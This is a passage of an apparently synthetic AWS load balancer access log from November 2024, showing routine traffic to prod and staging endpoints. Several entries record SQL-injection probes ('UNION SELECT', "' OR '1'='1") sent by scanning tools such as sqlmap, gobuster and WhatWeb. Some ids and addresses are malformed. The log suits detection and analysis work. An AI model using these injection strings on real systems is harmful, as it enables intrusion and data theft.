Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d886-8d3a5a4b80e04640ad4a3f03" "prod-api-alb.example.com" "-" 2 2024-11-01T02:20:38.935119Z "forward" "-" "-" "10.0.151.31:443" "200" "-" "-" +https 2024-11-01T02:20:40.228901Z prod-api-alb 161.80.177.225:44301 10.0.106.104:443 0.005207 0.315929 0.056868 200 200 432 4230 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d888-2bb7779aea55476782b77dbd" "prod-api-alb.example.com" "-" 1 2024-11-01T02:20:40.228901Z "forward" "-" "-" "10.0.106.104:443" "200" "-" "-" +https 2024-11-01T02:20:40.838639Z prod-web-alb 186.81.222.193:40652 10.0.78.132:443 0.017722 0.460224 0.087904 302 302 188 6531 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d888-51e0e09b155d4ad8974c94d9" "prod-web-alb.example.com" "-" 7 2024-11-01T02:20:40.838639Z "forward" "-" "-" "10.0.78.132:443" "302" "-" "-" +https 2024-11-01T02:20:42.819515Z staging-alb 147.21.14.11:45062 126.39.47.146:443 0.095241 0.427453 0.086189 301 301 177 5416 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d88a-bf83b7793fb642a38d2f4e9f" "staging-alb.example.com" "-" 4 2024-11-01T02:20:42.819515Z "forward" "-" "-" "126.39.47.146:443" "301" "-" "-" +https 2024-11-01T02:20:43.313740Z staging-alb 108.66.121.151:42214 128.137.221.164:443 0.071508 0.433057 0.107206 302 302 350 5090 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d88b-cbeaedcef89c4e3baad5f659" "staging-alb.example.com" "-" 5 2024-11-01T02:20:43.313740Z "forward" "-" "-" "128.137.221.164:443" "302" "-" "-" +https 2024-11-01T02:20:44.647405Z prod-web-alb 242.82.13.150:21828 10.0.150.216:443 0.016948 0.082363 0.068618 301 301 198 14548 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d88c-8643ae8f51de408aaf4ef49f" "prod-web-alb.example.com" "-" 5 2024-11-01T02:20:44.647405Z "forward" "-" "-" "10.0.150.216:443" "301" "-" "-" +https 2024-11-01T02:20:45.344434Z prod-api-alb 129.19.2.11:34867 10.0.132.63:443 0.027416 0.087195 0.050015 200 200 200 1436 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d88d-aaea00f22ab74617b4536547" "prod-api-alb.example.com" "-" 9 2024-11-01T02:20:45.344434Z "forward" "-" "-" "10.0.132.63:443" "200" "-" "-" +https 2024-11-01T02:20:45.832821Z staging-alb 171.53.230.237:10740 198.85.30.180:8080 0.034479 0.360318 0.094030 302 302 715 12603 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d88d-5b0729816c714a958ad7f525" "staging-alb.example.com" "-" 2 2024-11-01T02:20:45.832821Z "forward" "-" "-" "198.85.30.180:8080" "302" "-" "-" +https 2024-11-01T02:20:46.696590Z prod-web-alb 185.181.26.16:51577 10.0.84.201:443 0.005351 0.494863 0.034781 403 403 483 14527 "GET /search?q=1' UNION SELECT HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d88e-3c7b2387be634981961a6802" "-" "-" 10 2024-11-01T02:20:46.696590Z "forward" "-" "-" "10.0.84.201:443" "403" "-" "-" +http 2024-11-01T02:20:48.625868Z staging-alb 50.165.120.129:48879 165.107.169.106:8080 0.104451 0.735726 0.107781 301 301 64 6033 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d890-8b28e899cf3b45f5ba6b88bb" "staging-alb.example.com" "-" 5 2024-11-01T02:20:48.625868Z "forward" "-" "-" "165.107.169.106:8080" "301" "-" "-" +https 2024-11-01T02:20:49.653199Z prod-web-alb 171.183.13.48:52040 10.0.186.215:443 0.055893 0.065993 0.049096 200 200 306 12007 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d891-9fa672436f6d42d3897037be" "prod-web-alb.example.com" "-" 2 2024-11-01T02:20:49.653199Z "forward" "-" "-" "10.0.186.215:443" "200" "-" "-" +https 2024-11-01T02:20:50.142881Z prod-api-alb 93.152.177.160:29450 10.0.210.59:443 0.049923 0.489065 0.093411 200 200 32 7223 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d892-d13781acdb43440da92f5bd9" "prod-api-alb.example.com" "-" 2 2024-11-01T02:20:50.142881Z "forward" "-" "-" "10.0.210.59:443" "200" "-" "-" +https 2024-11-01T02:20:51.194464Z prod-api-alb 113.124.114.212:51661 10.0.44.231:443 0.051882 0.301306 0.091629 200 200 548 10787 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d893-37349d3610004a4884cb3bbd" "prod-api-alb.example.com" "-" 6 2024-11-01T02:20:51.194464Z "forward" "-" "-" "10.0.44.231:443" "200" "-" "-" +https 2024-11-01T02:20:52.397626Z prod-web-alb 138.91.198.227:19236 10.0.242.7:443 0.099203 0.094239 0.015566 200 200 761 13837 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d894-55b2afb4fcb94fe89c25a048" "prod-web-alb.example.com" "-" 0 2024-11-01T02:20:52.397626Z "forward" "-" "-" "10.0.242.7:443" "200" "-" "-" +https 2024-11-01T02:20:53.103905Z staging-alb 115.21.101.69:12516 161.180.60.132:8080 0.089918 0.679724 0.030794 200 200 226 2120 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d895-221debb2a9d046cdbd8b3301" "staging-alb.example.com" "-" 5 2024-11-01T02:20:53.103905Z "forward" "-" "-" "161.180.60.132:8080" "200" "-" "-" +https 2024-11-01T02:20:54.478878Z prod-api-alb 120.186.133.142:10369 10.0.29.243:443 0.023794 0.416328 0.054495 200 200 119 13923 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d896-d0c065fd4f1845c5be347dcf" "prod-api-alb.example.com" "-" 0 2024-11-01T02:20:54.478878Z "forward" "-" "-" "10.0.29.243:443" "200" "-" "-" +https 2024-11-01T02:20:54.925117Z prod-web-alb 83.9.162.229:61357 10.0.53.49:443 0.056847 0.414449 0.001717 200 200 596 5195 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d896-31dc33df5a32461dbc2d263d" "prod-web-alb.example.com" "-" 2 2024-11-01T02:20:54.925117Z "forward" "-" "-" "10.0.53.49:443" "200" "-" "-" +http 2024-11-01T02:20:56.438830Z staging-alb 62.115.13.133:58494 225.135.76.217:443 0.088873 0.584012 0.110583 301 301 977 5868 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d898-fee31c2dd75347d68ed5ed38" "staging-alb.example.com" "-" 1 2024-11-01T02:20:56.438830Z "forward" "-" "-" "225.135.76.217:443" "301" "-" "-" +https 2024-11-01T02:20:56.547297Z prod-web-alb 117.169.33.37:23296 10.0.211.97:443 0.046507 0.391318 0.023499 200 200 323 8320 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d898-254df2e0b88c4267befa60b8" "prod-web-alb.example.com" "-" 2 2024-11-01T02:20:56.547297Z "forward" "-" "-" "10.0.211.97:443" "200" "-" "-" +https 2024-11-01T02:20:58.408747Z prod-web-alb 193.244.177.95:36325 10.0.113.62:443 0.095997 0.137699 0.031298 200 200 792 6845 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d89a-3cc74044b9364d3a8e189fac" "prod-web-alb.example.com" "-" 8 2024-11-01T02:20:58.408747Z "forward" "-" "-" "10.0.113.62:443" "200" "-" "-" +http 2024-11-01T02:20:59.629187Z staging-alb 181.225.249.181:19255 163.49.39.92:80 0.144665 0.514339 0.055632 200 200 246 9273 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d89b-f902420a13994d72a9de94e7" "staging-alb.example.com" "-" 2 2024-11-01T02:20:59.629187Z "forward" "-" "-" "163.49.39.92:80" "200" "-" "-" +https 2024-11-01T02:20:59.840489Z prod-web-alb 10.59.187.20:19124 10.0.255.68:443 0.086373 0.497311 0.001395 302 302 681 2906 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d89b-aaf164a2ef0f40d3952e3074" "prod-web-alb.example.com" "-" 10 2024-11-01T02:20:59.840489Z "forward" "-" "-" "10.0.255.68:443" "302" "-" "-" +http 2024-11-01T02:21:00.213081Z staging-alb 102.195.220.136:64315 231.177.23.174:443 0.002008 0.587656 0.050960 302 302 115 3245 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d89c-4d166121aada4e5aaefbeb2b" "staging-alb.example.com" "-" 9 2024-11-01T02:21:00.213081Z "forward" "-" "-" "231.177.23.174:443" "302" "-" "-" +https 2024-11-01T02:21:01.776955Z prod-api-alb 201.58.185.176:43922 10.0.14.240:443 0.095051 0.023563 0.020338 301 301 8 12531 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d89d-fa1744f6d4d745c4aa0bfe94" "-" "-" 8 2024-11-01T02:21:01.776955Z "forward" "-" "-" "10.0.14.240:443" "301" "-" "-" +https 2024-11-01T02:21:02.815145Z prod-api-alb 115.230.41.173:44985 10.0.109.156:443 0.054505 0.257289 0.018645 200 200 942 3607 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d89e-55700f75f1974dc59522d0ab" "prod-api-alb.example.com" "-" 6 2024-11-01T02:21:02.815145Z "forward" "-" "-" "10.0.109.156:443" "200" "-" "-" +https 2024-11-01T02:21:04.191872Z prod-api-alb 193.27.228.79:37511 10.0.36.19:443 0.038900 0.436804 0.007113 403 403 445 1244 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8a0-3f646be231b2426d95d13bed" "-" "-" 8 2024-11-01T02:21:04.191872Z "forward" "-" "-" "10.0.36.19:443" "403" "-" "-" +https 2024-11-01T02:21:06.182384Z staging-alb 193.27.228.128:33116 99.224.47.194:8080 0.045943 0.723997 0.120311 200 200 112 11900 "POST /search?q=1' UNION SELECT HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8a2-e08125d8dfcd4273bd4a4cb4" "-" "-" 5 2024-11-01T02:21:06.182384Z "forward" "-" "-" "99.224.47.194:8080" "200" "-" "-" +http 2024-11-01T02:21:07.904043Z staging-alb 150.24.235.112:10674 198.46.102.164:443 0.107131 0.694436 0.143241 301 301 503 6711 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8a3-3664a2422c904da88af3e94d" "-" "-" 7 2024-11-01T02:21:07.904043Z "forward" "-" "-" "198.46.102.164:443" "301" "-" "-" +https 2024-11-01T02:21:09.426935Z prod-api-alb 168.168.131.82:42635 10.0.172.75:443 0.026641 0.044079 0.063479 200 200 27 5575 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8a5-809d035b71304c1ab55551b6" "prod-api-alb.example.com" "-" 1 2024-11-01T02:21:09.426935Z "forward" "-" "-" "10.0.172.75:443" "200" "-" "-" +http 2024-11-01T02:21:10.830180Z staging-alb 151.42.110.228:51656 51.137.29.187:8080 0.090283 0.656836 0.090025 200 200 895 7910 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8a6-0afe3d6b1b124fc2803e60b8" "staging-alb.example.com" "-" 9 2024-11-01T02:21:10.830180Z "forward" "-" "-" "51.137.29.187:8080" "200" "-" "-" +https 2024-11-01T02:21:11.282383Z prod-api-alb 62.240.198.119:26365 10.0.98.86:443 0.019831 0.014348 0.070495 302 302 27 9768 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8a7-17ddcf1292cd4e6ea142004f" "prod-api-alb.example.com" "-" 6 2024-11-01T02:21:11.282383Z "forward" "-" "-" "10.0.98.86:443" "302" "-" "-" +https 2024-11-01T02:21:12.319472Z staging-alb 119.180.78.131:50617 197.133.228.196:8080 0.061797 0.528815 0.116955 200 200 28 13654 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8a8-92b132b1bdd842598f7d8ad5" "staging-alb.example.com" "-" 8 2024-11-01T02:21:12.319472Z "forward" "-" "-" "197.133.228.196:8080" "200" "-" "-" +https 2024-11-01T02:21:13.764351Z staging-alb 127.254.36.46:30497 121.210.223.157:80 0.045002 0.714743 0.061100 200 200 656 13800 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8a9-e14c610ebc234f56ada71e9d" "staging-alb.example.com" "-" 7 2024-11-01T02:21:13.764351Z "forward" "-" "-" "121.210.223.157:80" "200" "-" "-" +https 2024-11-01T02:21:14.334917Z prod-web-alb 17.168.63.97:61309 10.0.101.175:443 0.096424 0.417910 0.019079 200 200 22 3834 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8aa-4fb678dcc4d94a7a9bea70e5" "prod-web-alb.example.com" "-" 5 2024-11-01T02:21:14.334917Z "forward" "-" "-" "10.0.101.175:443" "200" "-" "-" +https 2024-11-01T02:21:14.652366Z prod-api-alb 17.223.63.27:29685 10.0.2.87:443 0.041276 0.047136 0.078580 301 301 879 4652 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8aa-635e2d588d094ca59b2f2e7e" "prod-api-alb.example.com" "-" 4 2024-11-01T02:21:14.652366Z "forward" "-" "-" "10.0.2.87:443" "301" "-" "-" +https 2024-11-01T02:21:15.051515Z prod-api-alb 253.210.244.184:40160 10.0.231.151:443 0.037648 0.162154 0.005552 301 301 250 11510 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8ab-fb013d01787d4933bffb471c" "prod-api-alb.example.com" "-" 6 2024-11-01T02:21:15.051515Z "forward" "-" "-" "10.0.231.151:443" "301" "-" "-" +https 2024-11-01T02:21:16.317004Z staging-alb 194.44.142.59:47968 46.231.95.90:443 0.025666 0.512169 0.056472 200 200 878 3743 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8ac-77f0a462e4854190bc810fb3" "staging-alb.example.com" "-" 8 2024-11-01T02:21:16.317004Z "forward" "-" "-" "46.231.95.90:443" "200" "-" "-" +https 2024-11-01T02:21:17.527300Z prod-api-alb 116.213.17.66:56316 10.0.29.227:443 0.011594 0.480635 0.065005 302 302 917 5282 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8ad-4918b501c5cf400c89e8e648" "prod-api-alb.example.com" "-" 0 2024-11-01T02:21:17.527300Z "forward" "-" "-" "10.0.29.227:443" "302" "-" "-" +https 2024-11-01T02:21:18.511912Z staging-alb 146.29.127.45:40490 143.220.254.76:8080 0.089719 0.132762 0.074310 301 301 222 4509 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8ae-01796efa4f4748539694e68e" "staging-alb.example.com" "-" 9 2024-11-01T02:21:18.511912Z "forward" "-" "-" "143.220.254.76:8080" "301" "-" "-" +https 2024-11-01T02:21:19.161115Z prod-api-alb 125.234.85.90:37082 10.0.180.9:443 0.080161 0.454809 0.077726 301 301 267 14438 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8af-885f1805fd9540f89b9ad6e8" "prod-api-alb.example.com" "-" 2 2024-11-01T02:21:19.161115Z "forward" "-" "-" "10.0.180.9:443" "301" "-" "-" +https 2024-11-01T02:21:20.994661Z prod-web-alb 190.61.168.28:21664 10.0.169.63:443 0.043079 0.177862 0.048268 200 200 393 12967 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8b0-08ec1b58565342e587d68b10" "prod-web-alb.example.com" "-" 4 2024-11-01T02:21:20.994661Z "forward" "-" "-" "10.0.169.63:443" "200" "-" "-" +http 2024-11-01T02:21:21.789516Z staging-alb 134.14.228.126:53323 2.246.208.213:443 0.127330 0.049333 0.086457 404 404 304 13966 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8b1-018b1b7fbc604b278e2429c1" "staging-alb.example.com" "-" 2 2024-11-01T02:21:21.789516Z "forward" "-" "-" "2.246.208.213:443" "404" "-" "-" +https 2024-11-01T02:21:22.555364Z prod-api-alb 234.137.241.9:20009 10.0.145.240:443 0.066226 0.467418 0.066994 200 200 647 327 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8b2-36071d1b0c534affaa422e6b" "prod-api-alb.example.com" "-" 5 2024-11-01T02:21:22.555364Z "forward" "-" "-" "10.0.145.240:443" "200" "-" "-" +https 2024-11-01T02:21:23.306599Z prod-web-alb 10.154.222.162:56160 10.0.3.140:443 0.070410 0.329413 0.093655 200 200 163 9696 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8b3-b10685bb641346b2ab0654c0" "prod-web-alb.example.com" "-" 10 2024-11-01T02:21:23.306599Z "forward" "-" "-" "10.0.3.140:443" "200" "-" "-" +http 2024-11-01T02:21:23.743395Z staging-alb 115.10.90.183:45103 160.1.122.47:8080 0.141390 0.702920 0.092242 200 200 867 6915 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8b3-cfe4cdb24507468fb4cbfbf6" "staging-alb.example.com" "-" 9 2024-11-01T02:21:23.743395Z "forward" "-" "-" "160.1.122.47:8080" "200" "-" "-" +https 2024-11-01T02:21:23.858987Z prod-api-alb 238.192.147.168:52043 10.0.98.243:443 0.095026 0.336360 0.034664 200 200 89 14404 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8b3-88d2ca9bcc964f3882c092b4" "prod-api-alb.example.com" "-" 8 2024-11-01T02:21:23.858987Z "forward" "-" "-" "10.0.98.243:443" "200" "-" "-" +http 2024-11-01T02:21:25.123070Z staging-alb 129.225.8.28:16766 240.118.127.153:80 0.131434 0.020968 0.037955 404 404 142 4658 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8b5-03bba1158974489b97e6aa5d" "staging-alb.example.com" "-" 7 2024-11-01T02:21:25.123070Z "forward" "-" "-" "240.118.127.153:80" "404" "-" "-" +https 2024-11-01T02:21:26.233829Z staging-alb 53.112.73.223:38940 52.233.242.93:443 0.019192 0.430958 0.132467 200 200 133 7181 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 